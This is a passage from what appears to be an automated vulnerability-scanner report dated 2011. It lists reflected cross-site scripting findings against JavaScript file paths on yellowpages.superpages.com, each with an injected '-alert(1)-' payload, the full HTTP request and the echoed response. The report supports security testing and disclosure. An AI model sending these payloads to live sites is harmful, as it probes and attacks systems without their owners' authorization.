The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39dde"-alert(1)-"ad48974274b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common39dde"-alert(1)-"ad48974274b/js/jquery.history_remote.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common39dde&quot;-alert(1)-&quot;ad48974274b/js/jquery.history_remote.js
Server: Unspecified
Set-Cookie: JSESSIONID=C15B868960CE2EE9AF292572256EADF3; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:02 GMT
Cache-Control: private
Content-Length: 36107


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common39dde"-alert(1)-"ad48974274b/js/jquery.history_remote.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.67. http://yellowpages.superpages.com/common/js/jquery.history_remote.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.history_remote.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c965f"-alert(1)-"9b53f386972 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/jsc965f"-alert(1)-"9b53f386972/jquery.history_remote.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/jsc965f&quot;-alert(1)-&quot;9b53f386972/jquery.history_remote.js
Server: Unspecified
Set-Cookie: JSESSIONID=6AA4650E7009D0260F993E6AB745753B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:22 GMT
Cache-Control: private
Content-Length: 36107


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/jsc965f"-alert(1)-"9b53f386972/jquery.history_remote.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.68. http://yellowpages.superpages.com/common/js/jquery.history_remote.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.history_remote.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dfa09"-alert(1)-"556c143ae67 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/jquery.history_remote.jsdfa09"-alert(1)-"556c143ae67 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/jquery.history_remote.jsdfa09&quot;-alert(1)-&quot;556c143ae67
Server: Unspecified
Set-Cookie: JSESSIONID=AC0419B6F8814437382178A41C7FB943; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:30 GMT
Cache-Control: private
Content-Length: 36107


                       <!--
       
       -->


                                   
...[SNIP]...
perpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/jquery.history_remote.jsdfa09"-alert(1)-"556c143ae67?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.69. http://yellowpages.superpages.com/common/js/jquery.sptabs.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.sptabs.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7dc5"-alert(1)-"f36372d39f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commond7dc5"-alert(1)-"f36372d39f5/js/jquery.sptabs.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commond7dc5&quot;-alert(1)-&quot;f36372d39f5/js/jquery.sptabs.js
Server: Unspecified
Set-Cookie: JSESSIONID=7F42488F4AB9870477CB7A261876420D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:24 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commond7dc5"-alert(1)-"f36372d39f5/js/jquery.sptabs.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.70. http://yellowpages.superpages.com/common/js/jquery.sptabs.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.sptabs.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2c12c"-alert(1)-"1659686fb48 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js2c12c"-alert(1)-"1659686fb48/jquery.sptabs.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js2c12c&quot;-alert(1)-&quot;1659686fb48/jquery.sptabs.js
Server: Unspecified
Set-Cookie: JSESSIONID=560FCD4338D535363C1D59CFD5091B2B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:32 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js2c12c"-alert(1)-"1659686fb48/jquery.sptabs.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.71. http://yellowpages.superpages.com/common/js/jquery.sptabs.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/jquery.sptabs.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc50d"-alert(1)-"069a0f815e6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/jquery.sptabs.jsfc50d"-alert(1)-"069a0f815e6 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/jquery.sptabs.jsfc50d&quot;-alert(1)-&quot;069a0f815e6
Server: Unspecified
Set-Cookie: JSESSIONID=96C846039494DE3D303C28223283100E; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:46 GMT
Cache-Control: private
Content-Length: 36091


                       <!--
       
       -->


                                   
...[SNIP]...
pages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/jquery.sptabs.jsfc50d"-alert(1)-"069a0f815e6?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.72. http://yellowpages.superpages.com/common/js/omniture_onclick.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/omniture_onclick.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9a2a7"-alert(1)-"fc51b2a718c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common9a2a7"-alert(1)-"fc51b2a718c/js/omniture_onclick.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common9a2a7&quot;-alert(1)-&quot;fc51b2a718c/js/omniture_onclick.js
Server: Unspecified
Set-Cookie: JSESSIONID=76DD5A47FC1A71E27DFC56B0F9C6C5FD; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:30 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common9a2a7"-alert(1)-"fc51b2a718c/js/omniture_onclick.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.73. http://yellowpages.superpages.com/common/js/omniture_onclick.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/omniture_onclick.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 48ee7"-alert(1)-"7ec2f5075e8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js48ee7"-alert(1)-"7ec2f5075e8/omniture_onclick.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js48ee7&quot;-alert(1)-&quot;7ec2f5075e8/omniture_onclick.js
Server: Unspecified
Set-Cookie: JSESSIONID=380CEA149465E878E1853CBE21E66C4D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:37 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js48ee7"-alert(1)-"7ec2f5075e8/omniture_onclick.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.74. http://yellowpages.superpages.com/common/js/omniture_onclick.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/omniture_onclick.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df457"-alert(1)-"a7b7f4d7dfe was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/omniture_onclick.jsdf457"-alert(1)-"a7b7f4d7dfe HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/omniture_onclick.jsdf457&quot;-alert(1)-&quot;a7b7f4d7dfe
Server: Unspecified
Set-Cookie: JSESSIONID=9498FB0873E17746361EF5E2C5BDC544; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:45 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
es.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/omniture_onclick.jsdf457"-alert(1)-"a7b7f4d7dfe?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.75. http://yellowpages.superpages.com/common/js/recently_viewed.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/recently_viewed.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db562"-alert(1)-"02c46e9b05d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /commondb562"-alert(1)-"02c46e9b05d/js/recently_viewed.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /commondb562&quot;-alert(1)-&quot;02c46e9b05d/js/recently_viewed.js
Server: Unspecified
Set-Cookie: JSESSIONID=03649920B5E5DB0BFD83D266F18EA9E6; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:05 GMT
Cache-Control: private
Content-Length: 36095


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/commondb562"-alert(1)-"02c46e9b05d/js/recently_viewed.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.76. http://yellowpages.superpages.com/common/js/recently_viewed.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/recently_viewed.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 442ba"-alert(1)-"a80008c80c5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js442ba"-alert(1)-"a80008c80c5/recently_viewed.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js442ba&quot;-alert(1)-&quot;a80008c80c5/recently_viewed.js
Server: Unspecified
Set-Cookie: JSESSIONID=E2823CB965F982388D18954E8635CB0A; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:12 GMT
Cache-Control: private
Content-Length: 36095


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js442ba"-alert(1)-"a80008c80c5/recently_viewed.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.77. http://yellowpages.superpages.com/common/js/recently_viewed.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/recently_viewed.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 470ae"-alert(1)-"830ee1c48fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/js/recently_viewed.js470ae"-alert(1)-"830ee1c48fb HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/js/recently_viewed.js470ae&quot;-alert(1)-&quot;830ee1c48fb
Server: Unspecified
Set-Cookie: JSESSIONID=4D351DFDC8EF4B40214A7E149528CB6D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:20 GMT
Cache-Control: private
Content-Length: 36095


                       <!--
       
       -->


                                   
...[SNIP]...
ges.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/js/recently_viewed.js470ae"-alert(1)-"830ee1c48fb?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.78. http://yellowpages.superpages.com/common/js/s_code.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/s_code.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 539eb"-alert(1)-"4cc78ad7314 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common539eb"-alert(1)-"4cc78ad7314/js/s_code.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common539eb&quot;-alert(1)-&quot;4cc78ad7314/js/s_code.js
Server: Unspecified
Set-Cookie: JSESSIONID=DDC3DFA0E0BB8639F6F4C62A95C26747; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:36 GMT
Cache-Control: private
Content-Length: 36077


                       <!--
       
       -->


                                   
...[SNIP]...
erv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common539eb"-alert(1)-"4cc78ad7314/js/s_code.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.79. http://yellowpages.superpages.com/common/js/s_code.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/s_code.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb37a"-alert(1)-"32622685d4e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /common/jsbb37a"-alert(1)-"32622685d4e/s_code.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/jsbb37a&quot;-alert(1)-&quot;32622685d4e/s_code.js
Server: Unspecified
Set-Cookie: JSESSIONID=20AEC5B794C7F22300B4AB7C1BE8B541; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:32:46 GMT
Cache-Control: private
Content-Length: 36077


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/jsbb37a"-alert(1)-"32622685d4e/s_code.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.80. http://yellowpages.superpages.com/common/js/s_code.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /common/js/s_code.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b38e5"-alert(1)-"7e6c3fe42b7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

